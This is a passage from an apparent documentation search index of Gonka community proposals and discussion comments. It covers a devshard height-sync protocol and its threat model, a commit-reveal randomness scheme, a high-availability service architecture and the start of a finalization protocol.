// Host side: return cached LightBlock for h, if available.\nfunc (s *transport.Server) LightBlockFor(h int64) (proof []byte, ok bool)\nWhen the receiver's follower has advanced past a disputed H, the dispute packet may carry both halves:
HeightSyncEvidenceFor (blame).LightBlock from LightBlockFor (canonical pair).A mock dispute verifier returns DISPUTE_ORIGINATOR when both pass.
// Server option:\ntransport.WithHeightSyncSeedRPC(true)\n// Client call:\nfunc (c *transport.HTTPClient) SeedHeightSync(ctx context.Context) (uint64, bool, error)\nOpt-in POST /sessions/:id/height-sync: the host returns a forced Anchor (originator-signed). The courier verifies + caches it before issuing the first inference — useful for short-lived sessions where the first inference is not in a sync turn.
// Operator / dispute / cPoC trigger:\nstate.SendMsgForceHeightSyncTurn(triggerNonce, slotsNum, reason, strongRequired)\nOpens an ActiveForcedTurn in the next diff; every envelope in [trigger, trigger + slots_num − 1] MUST be Anchor (or Strong when strongRequired = true).
type AuditRing interface {\n List(peerID string) []AnchorAttestation\n ListPeers() []string\n ConfirmationView() ConfirmationView\n}\n\nfunc (c *transport.HTTPClient) HeightSyncAuditRing() *heightsync.AuditRing\nfunc (s *transport.Server) HeightSyncAuditRing() *heightsync.AuditRing\nUsed by dispute / finalization consumers that need verbatim attestations and per-peer history.
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#16-attack-model", "title": "16. Attack model", "text": "Each row maps an adversary action to the protocol's defence and to the test scenario that proves it (full catalog in height-sync-tests.md).
(H, hash) and signs it (C-quorum) rejects single bad vote; deferred check eventually triggers DEFERRED_FAIL; DISPUTE_ORIGINATOR with stored signed blob TestHeightSyncAnchor_E2E_MixedHeights_Confirmed, TestHeightSyncAnchor_E2E_CheatingTrailStoresBogusUserHash, TestHeightSyncAnchor_E2E_CarrierExculpation; planned: TestHeightSyncStrong_E2E_DeferredFail_StrongEvidence 2 Carrier replays a stale originator section Freshness gate F rejects with stale_origin; carrier flagged TrustDisputeCarrier TestHeightSyncAnchor_E2E_StaleOriginRejected, TestHeightSyncAnchor_E2E_HeldOriginatorReplayRejected 3 Carrier strips originator fields on carry-forward Carrier becomes the cryptographic signer; DISPUTE_CARRIER on mismatch; sync-turn empty-originator audit dispute sentinel Existing audit-ring tests; TestHeightSyncAnchor_E2E_ForcedSyncTurn_HostResponsesAnchorEvenIfUserOmits 4 Carrier substitutes hash Audit verbatim; quorum cannot reach confirmed; eventually DEFERRED_FAIL TestHeightSyncAnchor_E2E_CheatingTrailStoresBogusUserHash 5 Host returns invalid sender_signature User drops tip; origin_sig_invalid_total increments; no cache; reputation/liveness handles persistent offenders TestHeightSyncAnchor_E2E_ResponseOriginSignatureInvalidDropped, TestClient_ResponseAnchor_DropsOnInvalidSig 6 Sender claims (H, hash) \\|Δ\\| > D ahead with Anchor (no Strong) INVALID(strong_required); carrier cannot escape via originator metadata Planned: TestClassify_StrongRequiredOutsideD, S1, S8 7 Tampered LightBlock (signatures, validators_hash, BlockID) Step 2/3/5/6 of CometBFT verification rejects Planned: TestVerifyLightBlock_*, S4 8 Validator-set substitution (wrong epoch) Optional Step 3b verifies against epoch participants Planned: S9 9 Mainnet feed unavailable mid-session (Latest() fails) Scheduler emits Omit on sync turn; IsStrictlyConfirmed → stale; no crashes; cPoC returns Inconclusive TestHeightSyncAnchor_E2E_HeightSyncFeedStopped_*, TestHeightSyncAnchor_E2E_StaleOracle_Inconclusive 13 Long inter-block time (feed quiet, cached tip still valid) Host emits degraded Anchor with tip_stale_after_ms; courier may still ingest verified response tips; (C-quorum) reconciles height across hosts TestAnchorScheduler_StaleFeedEmitsDegradedAnchorInSyncTurn, TestDecide_LogStaleSyncTurn, container TestContainerE2E_HeightSync_Cadence (testenv MOCKDAPI_STALE_AFTER ≥ block cadence) 10 Host equivocates across sessions ((H, hash_A) then (H, hash_B)) Per-V audit ring + dispute layer cross-session check Audit-ring tests; full cross-session detection deferred to dispute plan 11 User omits Anchor inside a forced sync turn Hosts MUST still emit Anchor on responses; missing user Anchor recorded as force_request_anchor_missing sentinel for dispute TestHeightSyncAnchor_E2E_ForcedSyncTurn_HostResponsesAnchorEvenIfUserOmits 12 Replay an old verified LightBlock Recency gate local_tip − max_lag_blocks → VALID_STALE; never advances aligned height Planned (Strong recency) Out-of-scope adversaries:
> 2/3 of mainnet validators — outside this protocol's defence; same as any L1 consensus assumption.blockoracle/verifier); height sync does not re-validate.K 8 AnchorScheduler constructor (NewAnchorSchedulerFromOracle(K, slots, src)) slots_num 4 (testenv) / slots_num = escrow.HostSlots (production) same D 2 StrongPolicy.D (planned) F 60 s HeightSyncPeerTips.Freshness, ConfirmationConfig.Freshness W_conf 256 heights ConfirmationConfig.WindowHeights Q ceil(2/3 × N_hosts) ConfirmationConfig.Quorum (override; defaults from roster size) Audit-ring capacity 1024 per peer NewAuditRing(capacity) Header-cache window (Strong) 64 heights BlockOracleStrongSource.K (planned) Strong recency off (max_lag_blocks = 0) follow-on hardening Confirmation rule (C-quorum) ConfirmationConfig.Rule (Quorum/Strong/Hybrid) StaleAfter (block oracle client) 10 s client default; testenv: block_time + block_interval_delta + 1s (floor 10s) MOCKDAPI_STALE_AFTER env (compose / devshardd-testenv)"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#reading-order-for-contributors", "title": "Reading order for contributors", "text": "height-sync-tests.md — every behaviour above is bound to at least one named test.2026-06-12 12:41 UTC
Important point according to this proposal is that consensus part is out of scope and should be here: Finalization protocol
It is the optimistic protocol - we trust while height is in some delta from our own known height. But we always have signed by originator block hash, so later, when we get same height from dapi, if we see block hash differs we can start the dispute, and originator of invalid data will be punished.
While document states that block hash could be also source of deterministic randomness (if we select height and related block hash in the future in advance), there are other possible solutions to get source of deterministic randomness, that could be more elegant and this is point of discussion
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#2-shd", "title": "Комментарий 2 — @shd", "text": "2026-06-22 01:31 UTC
Random comments, part 1.
Also I'd also propose to describe the usage of height/block_hash in more detail: maybe some improvements to the algorithm could become obvious after that.
... We trust heights in the future without additional mainnet proove if the height is close to the one we know is current. If there is a large disagreement between hosts on height (height_in_the_future - known_height = |Δ| > D) we use the full data from mainnet (block hash and validators signatures) to validate the height ...
What if the time difference between nonces is big enough? For example, 1 min? It will lead to large disagreement and to consensus round (even despite there is no real reason for a dispute: attack model 13, Long inter-block time (feed quiet, cached tip still valid)). Imagine that inference requests are coming with 1 min intervals: each will be accompanied with a consensus.
However, if one would put big D as a measure against regular strong phases, then it can damage precision of height discovery.
We can have the following proposals here:
a) (Maybe this is wrong) but the height main usage is PoC phase detection: if a user requests inference, but the node replies with \"rejected because of PoC\". In this case, user immediately sends the request to the next node, and that reply comes immediately, and D is important. So, the check for D may be activated only on some occasions. Otherwise, we always trust height progression, unless the previous height is earlier than ours.
b) User may specify current time in request -- so Host must provide be closest block height to the user's time, maybe +-1 slot. In case user time is too different from host time, a consensus (strong phase) can be activated: hosts sends to everybody user's current time and his own current time. In case of 5 seconds consensus (comparable with consensus speed in mainnet) this mechanism can be efficient enough.
c) Adaptive up-to-date height guarantees. User makes empty requests each 5 seconds, it must do them (so that these requests would receive latest height in proper time intervals, and height changes would always be either 0 or 1) -- or performs a consensus in case of a long pause.
Consensus can be very long in comparison with these empty messages. These messages can be cast in separate round robin - that is, not affect next inferencing host. They can stop after (N^2/2) empty requests -- that is, stop right before price of liveness support becomes bigger than price of consensus after recovery.
↳ Ответ от @akup · 2026-07-01 10:20 UTC
I think we will start another discussion according to source of randomness.
block hash could be source of randomness and rather natural when we have height sync protocol (that we anyway need for cPoC handling at devshard). But pederson-style source of randomness is very elegant, I think. Please write down that proposal
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#3-shd", "title": "Комментарий 3 — @shd", "text": "2026-06-22 03:06 UTC
Important update about D: elementary analysis shows that there is a big increase in number of consensus rounds required at the border of 30 seconds/1 minute inactivity period.
Very approximate actual data suggestions: epoch 263 had 590000 inference requests per 44 users, which gives T = 0.15 requests per second. We can consider (as the first guess) that inference requests follow Poisson distribution, it gives e^(-0.15 * 60) = 0.0001 probability of 60 seconds inactivity; and e^(-0.15 * 30) = 0.01 probability of 30 seconds inactivity.
Of course, the distribution is different (requests are usually aligned to some inference process -- that is, they are not independent), and the exact numbers will be different. But D may influence performance in a very unusual way if moderate pause in inference leads to a new consensus round.
↳ Ответ от @akup · 2026-07-01 10:17 UTC
D here is not related to nonces/blocks it is related to mainnet block height.
If we are at height difference > D we should run the consensus round, and the block increment time of mainnet is rather stable around 5 seconds, but on heigh load at winter we have seen slow block building when one block was incrementing around 30-45 seconds
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#4-shd", "title": "Комментарий 4 — @shd", "text": "2026-06-22 03:30 UTC
Question: There is an attack vector, attack model 13, Long inter-block time (feed quiet, cached tip still valid) However, is there any specific attack/case about long inactivity of user?
↳ Ответ от @akup · 2026-07-01 10:14 UTC
It was described separately at cPoC protocol proposal. It was referenced from this doc at github repos, but I've just published it as a discussion: https://github.com/gonka-ai/gonka/discussions/1384
There are Cases to handle paragraph and especially C14 — Low-load strategic delay (developer heartbeat mitigation) discussing exactly this long inactivity of user
As we discussed at DM, the proposal to mitigate such attack is heartbeating from the user, and also we should handle that this heartbeating is required at protocol level and if user stops heartbeat we should autosettle the shard.
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#5-shd", "title": "Комментарий 5 — @shd", "text": "2026-07-02 01:50 UTC
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#generating-random-numbers", "title": "Generating random numbers", "text": "Generation of random numbers from blockchain hash of the most recent main net block has a lot of advantages, however, it has the following problems:
it does not allow to generate the number \"on spot\" --- it requires delay till the new main net block arrives.
synchronization delays: a generating party has some possibility to choose from several headers (in the range of D consecutive headers), and therefore has some influence on the number.
The both problems can be addressed, but that comes with price, so it's a good idea to consider different approaches.
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#alternative-approach", "title": "Alternative approach", "text": "As a simple alternative approach, we'd propose to use a standard commitment scheme. Let's take some reliable hash function (e.g., sha256) --- let's call it F(x), where x is a binary string.
Then a random number generation (for user U and host H) could follow the following scheme:
Each party (U and H) generates one random number --- let it be R_U and R_H. It should be a long number, e.g. 128 or 256 bits, to prevent guessing of the number.
Then the parties exchanges hashes of the number --- H sends F(R_H) to U, and U sends F(R_U) to H.
After the values are exchanged, the parties exchange the original random numbers: so each of the parties knows R_U, R_H, F(R_U) and F(R_H).
The value Xor(R_U,R_H) is the desired random value.
If numbers R_U and R_H are generated without knowledge of each other, and at least one of the parties generated it randomly, then the resulting value is also random.
Values F(R_U) and F(R_H) do not disclose any information about R_U, R_H, although brute force attack may be possible in case of short numbers (that's why we have requirement of 128 or 256 bits).
The parties cannot change their mind after hashes are exchanged.
Sha256 is still considered to be resistant to collisions, however, for the completeness of the text, it is necessary to note that this scheme can be made more resistant to such attacks even if such collisions are found (or a weaker hash function is used).
For example, one has a pair of numbers, which share the same hash, but have different values: A,B such that F(A) = F(B). So, at the moment of the numbers reveal, an adversary party may have a choice (either A or B), which may lead to some control over the resulting random number.
To prevent this, one can prepend the scheme with exchange of nonces:
This modification should prohibit another party from use of previously computed collisions in hash functions. The need for this complication of the randomness generation is debatable.
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#general-analysis", "title": "General analysis", "text": "This scheme is secure, and resistant to adversary behavior of the parties, and generates good random if at least one of the sides is interested in that.
This scheme can be activated on-demand at any moment, and it's rather cheap. Although, it requires 2 elementary messages (or 3, in more secure variant) from each party.
However, it does not resist cooperative random generation: when both U and H are together trying to forge a desired number. The blockchain hash scheme also has this problem to some extent.
The need of multiple-host devshards is dictated by the need to distribute control over the inference process, and make it transparent and honest. However, cooperative behavior of the user and some of the hosts may damage the guarantees. In particular, such cooperation may easily assign verification of compromised inferences to adversarial hosts, thus damaging the whole scheme.
To prevent this from happening, the following idea is proposed.
Each host must keep the last 32 (by the size of devshard) inferences, ready for future verification. The actual verifier and the actual inference which will be verified are not known to anyone at this point.
The host and the verifier for a given inference are determined by a random number generation.
Then the verifier asks the inferencing host its past task (one of 32) and performs necessary verification. If the random number is not always generated by adversary parties, and at least sometimes (in fact, in 2/3 cases) is really random, it gives a good guarantees against cheating.
This idea does not solve all problems with honesty of user and hosts, but it gives additional layer of protection.
The main question here is how to generate random numbers. The text below explains that.
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#random-number-generation", "title": "Random number generation", "text": "If the user and the host are not from the same adversary teams, then the commitment random generation scheme above already gives a good algorithm for that. The main issue is how to add this non-adversary party into random number generation, if the user and the host are from the same team.
Imagine, user U with host H generate a number, and this number determines the verifier (and they abuse the protocol to select the verifier from their team). It guides us to conclusion that the number should be generated by all other hosts in the devshard. For example, it could be consecutive generation: for 1st inference of H_0 the number is generated by U and H_1. For the 2nd inference of H_0 -- by U and H_2, and so on. So, after 32 rounds (or, 32 inferences by each host) at least 20 of them will be randomly selected by non-cooperative party.
So, we should have two round-robin cycles: an inference cycle (all nodes are requested to make inferences consequently, to minimize room for node shadowing), and verification cycle.
The particular details are yet to be determined, but the main idea that this cycle should deliberately go in different speed (in comparison with inference cycle). So that during one inference cycle (so that inference starting from H_0 returned back to H_0), the verification cycle hosts should be shifted (verificatoin.H_0 with inference.H0 -- they start at the same host, but at the moment of inference returning back to H_0, the verification should be at H_k with k /= 0).
Since there are 2/3 honest hosts in the network, then in 2 of 3 cycles a host will be paired with a host, which is not in his adversary team. And after 11 cycles each host will have at least one verification, controlled by an independent host.
The inference cycle can be light-weight (that is, it may have no independent blockchain), and all the transactions may be added to the same diff sequence; the two cycles may be interlaced in the single devshard blockchain in determenistic fashion.
Also, this verification cycle can be used for block height propagation (to avoid frequent consensus invocation).
↳ Ответ от @a-kuprin · 2026-07-02 10:41 UTC
I think this Pederson-commitment-style for source of randomness is best option for finalization selecting the collector for the commitment.
Anyway we should revisit the finalization protocol as BLS fits there very well as we discussed
"}, {"location": "community/discussion/proposals/1345-network-documentation/", "title": "#1345 — Network Documentation", "text": "🔄 Auto-sync: from Discussion #1345 every hour.
"}, {"location": "community/discussion/proposals/1345-network-documentation/#network-documentation", "title": "Network Documentation", "text": "Автор: @heitor-lassarote · Категория: Proposals · Создано: 2026-06-16 17:42 UTC · Обновлено: 2026-06-16 17:45 UTC
"}, {"location": "community/discussion/proposals/1345-network-documentation/#_1", "title": "📝 ОписаниеDocumentation-Related Issues, PRs, and Discussions", "text": "Hello, everyone. We’re a team at Serokell, and after reading the Gonka Community Network Roadmap, we wanted to discuss Track 4, Project 3, entitled “Network documentation”, which has the following description as of 09-06-2026:
A structured documentation system for hosts, developers, external contributors, and ecosystem teams.
The documentation should have a clear canonical source in a public GitHub documentation repository, where changes can be reviewed, versioned, and updated through PRs.
This project should be treated as an ongoing documentation maintenance process, not a one-time writing effort. It could support a documentation or technical writing team responsible for keeping the documentation up to date after protocol upgrades, incidents, recurring support questions, and operational changes.
Metrics:
What this gives the network:
Gonka gets a clear, maintained, and versioned knowledge base. Hosts and external teams get fewer ambiguous instructions and a safer path through upgrades and operational changes.
We would like to offer a team to work on the structured documentation. In particular, we’d like to offer the following improvements to the existing documentation:
gonka-docs to monitor recent diffs in the gonka repo against the main branch in which gonka-docs should be changed. This option, however, requires credits, and for large diffs (common in gonka) may produce mediocre results. We propose to make an experiment and test how this would go.The schedule to support the above plan might look like this:
🔄 Auto-sync: from Discussion #1367 every hour.
"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#high-availability-architecture", "title": "High-Availability Architecture", "text": "Автор: @a-kuprin · Категория: Proposals · Создано: 2026-06-25 08:16 UTC · Обновлено: 2026-07-22 05:54 UTC
"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#_1", "title": "📝 Описание", "text": "Make every node-side service horizontally scalable and rolling-update safe, with no single point of failure, and deliver a Kubernetes-ready deployment packaged as a Helm chart.
This proposal builds on the current architecture (../high-availability-architecture.md) and the binary-rollout design (../rolling-update.md). It does not change the inference-chain.
"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#1-goals", "title": "1. Goals", "text": "proxy Immutable; run N behind a VIP/L4 LB edge-api Stateless; N instances + edge-api-router (round-robin) versiond + devshardd N instances on separate machines + versiond-router (sticky hash) on shared Postgres"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#what-blocks-ha-today", "title": "What blocks HA today", "text": "decentralized-api (dapi) is a single monolithic process: its chain event listener / phase engine has no leader election, it embeds a per-process NATS, holds a local keyring for signing, and queries the chain directly. Two dapi instances would duplicate transactions and ML commands (see ../high-availability-architecture.md §5). This proposal restructures dapi so it can be made highly available.
┌──────────────────────────────┐\n clients ────▶ │ proxy (N, behind L4 LB) │\n └───────────────┬───────────────┘\n ┌──────────────────────┬──────────┴───────────┬───────────────────────┐\n ▼ ▼ ▼ ▼\n ┌─────────────┐ ┌────────────────┐ ┌────────────────┐ ┌────────────────┐\n │ edge-api │ │ dapi: edge-srv │ │ dapi: node-mgr │ │ versiond[-router]│\n │ (N, HA) │ │ (N, PoC/admin) │ │ (broker/PoC) │ │ → devshardd │\n │ HA chain │ │ REST callbacks│ │ + leader │ │ (shared PG) │\n │ proxy+cache │ └───────┬────────┘ └───────┬────────┘ └────────────────┘\n │ + event hub │ │ │\n └──────┬───────┘ │ publish chain msgs │ publish chain msgs\n │ events (pub/sub) ▼ ▼\n │ ┌──────────────────────────────────────┐\n ├─────────────▶│ NATS (standalone, HA) │ ◀── one queue for\n │ │ subjects: chain.tx, events.*, ... │ all chain-bound msgs\n │ └───────────────────┬──────────────────┘\n │ ▼ (single consumer / msg)\n │ ┌──────────────────────┐\n │ │ signer service │ signs with warm key,\n │ │ (N, queue group) │ sends tx to chain\n │ └──────────┬───────────┘\n │ ▼\n ▼ inference-chain\n Redis (shared edge-api state: (gRPC + RPC)\n leader lock, event cursor, cache)\nTwo pillars:
edge-api is split out as its own service so the node has one chain-facing tier with two jobs:
NewBlock + per-tx events), normalize them, and transmit the stream to NATS and other subscribers (dapi node-manager, devshardd, PoC workers).That separation keeps dapi and devshardd focused on their domain logic while edge-api owns how the node talks to the chain. The same HTTP/gRPC read surface and event fan-out can be reused later by dashboard and monitoring systems (status pages, ops tooling, external observers) without embedding chain clients in each product binary.
Today edge-api is a stateless read-only proxy for 22 Tier A routes. We extend it to be the chain-access layer for the whole node.
"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#31-move-the-event-listener-into-edge-api", "title": "3.1 Move the event listener into edge-api", "text": "decentralized-api/internal/event_listener/) into edge-api.NewBlock + RPC BlockResults per-tx events) and re-publishes normalized events to NATS and other consumers (dapi services, devshardd) via pub/sub.edge-api scales to N instances, but block-driven side effects must fire once. So:
SET NX PX lease with renewal) and the shared event cursor (last_processed_height) so a new leader resumes exactly where the old one stopped — no gaps, no replays.last_processed_height) Gap-free failover Chain query cache (optional) Reduce duplicate chain gRPC load; TTL per route Fan-out / pub-sub of events Propagate the leader's event stream to all instances and subscribers edge-api thus becomes a highly-available proxy + cache for the inference-chain, and the single source of chain events for the node.
"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#34-consumers-stop-querying-the-chain-directly", "title": "3.4 Consumers stop querying the chain directly", "text": "After Pillar A, dapi sheds chain-query and event-subscription duties. Its remaining unique responsibilities are:
These become independently deployable, mostly-stateless services. The only mutable backends are Postgres (shared) and the NATS queue.
"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#41-service-decomposition", "title": "4.1 Service decomposition", "text": "New service Responsibility Scaling State edge-srv (REST workers) Echo HTTP for PoC callbacks (/v2/poc-batches/...) and admin REST events Multi-instance (immutable) none (writes to Postgres / publishes to NATS) node-manager Broker reconciliation + phase engine reactions (PoC stage commands, validation sampling) Leader-elected (single active driver) Redis lock + Postgres signer Sign chain messages with the warm key and broadcast Multi-instance, NATS queue group (one message consumed once) warm keyring only PoC services Artifact store, commit worker, off-chain validation, proof client Mixed (callbacks scale; commit driven by node-manager leader) Postgres"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#42-standalone-ha-nats-queue", "title": "4.2 Standalone HA NATS queue", "text": "Replace the embedded per-process NATS (decentralized-api/internal/nats/server/server.go) with a standalone, clustered NATS (JetStream) shared by all instances.
chain.tx), carrying the message and metadata. Producers are any service that needs to write to chain (node-manager, PoC commit, edge-srv, devshardd disputes).chain.tx: with a queue group, each message is delivered to exactly one signer instance, so N signers share the load but never double-sign the same message.authz.MsgExec with feegrant from the cold account where applicable (current model in cosmosclient/tx_manager), signs, and broadcasts to the chain.txs_to_send / txs_to_observe equivalents) so any signer instance can pick up retries. Idempotency keys (e.g. inference id + msg type) guard against duplicate submission across retries/failover.apiconfig last_processed_height) moves to Postgres/Redis so any instance is interchangeable.Rolling updates apply per service and reuse the design in ../rolling-update.md. The HA stack depends on the same drain semantics at two layers: binary swap inside a live supervisor, and whole-host evacuation behind the sticky router.
"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#rolling-update-concepts-summary", "title": "Rolling-update concepts (summary)", "text": "The rolling-update plan defines how we roll out new binaries without dropping in-flight work. Three operator guarantees:
Blue/green + drain inside versiond (Part 1 §1.1). When governance publishes a same version name, new sha256 binary, versiond downloads the new devshardd, starts it on a new port while the old child keeps serving, waits for GET /ready (not just TCP accept), atomically swaps the in-process route table so new requests hit the new child, marks the old child draining (out of the route table but still alive), polls in-flight count until zero (or a drain timeout), then SIGTERM with a long shutdown grace. Old and new can overlap only when durable state lives in shared Postgres — SQLite is single-writer and cannot support concurrent children (Part 1 §1.2).
Two drain layers — do not conflate (Part 1 §1.7–§1.8).
Event Layer Router involved? Same name, new sha256 (governance binary update) versiond blue/green + devshardd child drain No —versiond-router upstream unchanged versiond host removal, replace, or supervisor upgrade versiond-router host evacuation Yes — mark upstream down, drain pinned escrows, then stop the host During a devshardd binary swap, sticky routing is unchanged: the router still points at versiond-N:8080; only the child port inside versiond swaps. Router drain is for when the versiond process itself must leave the pool (scale-down, host maintenance, versiond binary upgrade).
Signals the plan adds to devshardd: /healthz (liveness), /ready (readiness gate for route swap), /drain/status (in-flight work), and configurable DEVSHARD_SHUTDOWN_GRACE so long SSE streams are not cut at 5s.
Kubernetes mapping (Part 2). The same guarantees map to RollingUpdate (maxUnavailable: 0, maxSurge: 1), readinessProbe → /ready, preStop (drop from endpoints before SIGTERM), and terminationGracePeriodSeconds aligned with shutdown grace. Pod/host evacuation maps to Part 1 §1.8 (router drain), not the in-versiond binary swap.
versiond-router (mark upstream down, wait for pinned escrows idle, then stop the host) — see ../rolling-update.md §1.8.Docker Compose overlays (local-test-net/, deploy/join/) prove multi-instance topology today; production HA should land on Kubernetes with a Helm chart that encodes the same service boundaries as this proposal.
A Helm chart alone does not make a monolith HA.
"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#intended-chart-shape-high-level", "title": "Intended chart shape (high level)", "text": "Chart / workload K8s notesedge-api Deployment + Service; readinessProbe → /healthz; HPA-friendly edge-api event hub Same image/chart; leader via Redis; subscribers use cluster DNS or NATS versiond Deployment + sticky Service or Ingress consistent-hash on escrow id devshardd Child of versiond in-process today; chart may deploy versiond only signer Deployment; NATS queue-group consumer; one message consumed once dapi services Split Deployments: echo workers (scale out), node-manager (leader) proxy Optional Ingress / Gateway in front of edge-api, dapi, versiond paths Dependencies Postgres, NATS, Redis as subcharts or external endpoints in values.yaml"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#helm-deliverable", "title": "Helm deliverable", "text": "PGHOST, NATS URL, Redis URL, chain gRPC/RPC URLs, replica counts, resource limits, and graceful shutdown timeouts aligned with inference/SSE duration.helm template / helm lint on chart changes; optional kind smoke.Compose remains the developer / integration-test path; Helm is the target for production Kubernetes once Pillars A–B and phasing steps 1–5 are in place.
"}, {"location": "community/discussion/proposals/1367-high-availability-architecture/#7-notes", "title": "7. Notes", "text": "2026-06-27 18:12 UTC
Hi @a-kuprin !
Couple questions:
Do we really need all of them to be not private?
Of we want single instance to be responsible for the whole single PoC cycle?
Definitely agree with part 1, let's do it I think we can postpone part 2
I support the idea to allow kubernetes deployment. But i'd keep simplest single-instance-per-each-service as base deploy approach in deploy/join. To not overcomplicate onboarding for small miners
Overall, that's a solid long term goal. I'd try to split it in smaller steps for implementation and phases of deploy. And keep them compartible with deployed version: - rolling updated (i think highest) - separate event listered from node-manager / etc - ....
↳ Ответ от @a-kuprin · 2026-06-28 15:57 UTC
I think it's enough to have edge-api (that actually takes public endpoints from decentralized-api) and versiond dapi should be private as it is admin tool and node-mgr that is used internally by devshardd spawned by versiond
2. How do you think to scale service which handles PoC callback?
I think this should be analyzed deeper, I didn't took into account this merkle-tree like storage use
Kubernetes & Helm (deployment target)
I assume it to be additional feature, not the replacement of docker compose deployment. When high-availability refactoring is ready it is quite easy using agent rewrite compose to helm. And I think even small miners can benefit from kubernetes, as full installation and update (if DevOps engeneer is familiar with kube and tooling like ArgoCD) could be even easier and smoother
↳ Ответ от @snevolin · 2026-07-10 07:13 UTC
Hi @gmorgachev!
I picked up part 1 (rolling updates), it is implemented here: https://github.com/gonka-ai/gonka/pull/1437
In short, what it does: when governance publishes a new binary with the same version name, versiond starts the new binary on a new port, sends traffic to it only after it is really ready, and lets the old one finish all its in-flight requests before stopping it. If the new binary fails to start, the old one just keeps serving.
About compatibility with already deployed versions: old already-released binaries keep working under the new versiond, and SQLite single-instance setups keep the current behavior. Nothing changes for small miners, no config changes needed.
Covered by tests: unit tests, a docker e2e test, and a new testermint test where a long request survives the binary update.
Let me know if you have any questions.
↳ Ответ от @a-kuprin · 2026-07-22 05:54 UTC
2. How do you think to scale service which handles PoC callback? It uses high performant local storage for PoC artifacts. This storage is merkle-tree like and requires high performance for r/w
I think it's enough to use NATS in Raft replication mode, and in-memory store.
The flow would be: Thin (dapi: edge-srv) proxy getting PoC callbacks and sending them to NATS NATS replicating them for fault-tolerance but doesn't persist to keep it fast And then we have single-consumer for signing and send artifact to chain (Active Worker), and multiple read-only consumers (Passive Workers) (also dapi component)
Passive workers just pull all new messages, and message has TTL for example 24h, Active worker is managed by queue so each message has exactly one consumer, and message is acknowledged when it is signed and sent to chain.
Active and passive workers build the smst-tree and persist artifacts to own volumes
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/", "title": "#1369 — Finalization protocol proposal (host-initiated, collectors, commit certificate)", "text": "🔄 Auto-sync: from Discussion #1369 every hour.
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#finalization-protocol-proposal-host-initiated-collectors-commit-certificate", "title": "Finalization protocol proposal (host-initiated, collectors, commit certificate)", "text": "Автор: @akup · Категория: Proposals · Создано: 2026-06-27 14:43 UTC · Обновлено: 2026-07-01 09:58 UTC
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#summary", "title": "Summary", "text": "This proposal defines a complete finalization protocol where any host can start finalization (not only the user/sequencer), with explicit trigger proofs, deterministic collector selection, commit-phase safety, and mainnet verification requirements.
It is designed to:
Related proposals:
No gossip as the finalization gate. Under the model this proposal targets, we do not rely on “gossip first, then finalize.” Whatever runtime exists today for nonce fan-out during normal execution is not specified here as the way hosts align immediately before finalization.
Nonce ↔ executor schedule (hypothesis). With a strict binding between nonce and executor host (e.g. N hosts in fixed order): if host A executed nonce NoID, then host A is scheduled again at nonce NoID + N, and so on. After a full round of N consecutive nonces, each host has executed one step. Open assumption: that implies every other host is then aware of the same linear history (or can derive it) without extra messaging. This must be proved under the exact scheduling, transport, and storage rules before building safety arguments on it.
State sharing is separate. Finalization needs an explicit state sharing protocol (what to exchange, who proves what, how to detect lag or fork). That belongs in another proposal document (not this file). This proposal describes vote / commit / mainnet only after state sharing has succeeded.
Collector randomness is separate from state sharing. Before phases 2–4, participants must agree on a collector randomness beacon — public material mixed into the collector-selection seed so no single initiator can pick favorable aggregators. Height sync is not a general finalization prerequisite. When Height sync protocol is used, its role here is only to produce that beacon (typically the aligned mainnet height after verified LightBlocks). Other deterministic randomness schemes are equally valid if they meet the requirements in Collector randomness beacon (e.g. opened values from Pedersen commitments collected during the session).
Phase order for finalization. End-to-end finalization is:
State sharing — run the dedicated protocol until all required parties share a common view of terminal state (or abort).
FinalizeInit as randomness_source + collector_randomness_beacon.FinalizeInit with finalization_hash, beacon fields, and trigger evidence.FinalizeVote and aggregation into VoteQC (QC = Quorum Certificate: proof enough hosts voted for the same finalization_hash).FinalizeCommit and aggregation into CommitQC (commit phase on the agreed proposal), then FinalizeSubmit to mainnet.Phases 1–2 may run in one combined ceremony or as distinct steps; message schemas below map to phases 3–5. Phase 1 is out of scope here pending the state-sharing spec.
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#goals", "title": "Goals", "text": "FinalizationTriggerReason:
USER_CHEATINGEPOCH_CHANGE_IMMINENTUSER_TIMEOUTTrigger evidence is independent of the collector randomness beacon except where the same height-sync machinery happens to supply both (see USER_TIMEOUT).
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#1-user_cheating", "title": "1)USER_CHEATING", "text": "Required evidence:
Each evidence item must include:
EPOCH_CHANGE_IMMINENT", "text": "Required evidence:
epoch_current, epoch_next, height_proven.This uses mainnet header proofs for the trigger, not the collector randomness beacon.
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#3-user_timeout", "title": "3)USER_TIMEOUT", "text": "Required evidence:
HeightSyncSection (section 1 of the user–host envelope) observed in communication, with valid CometBFT LightBlock and sender signature,Timeout is computed against:
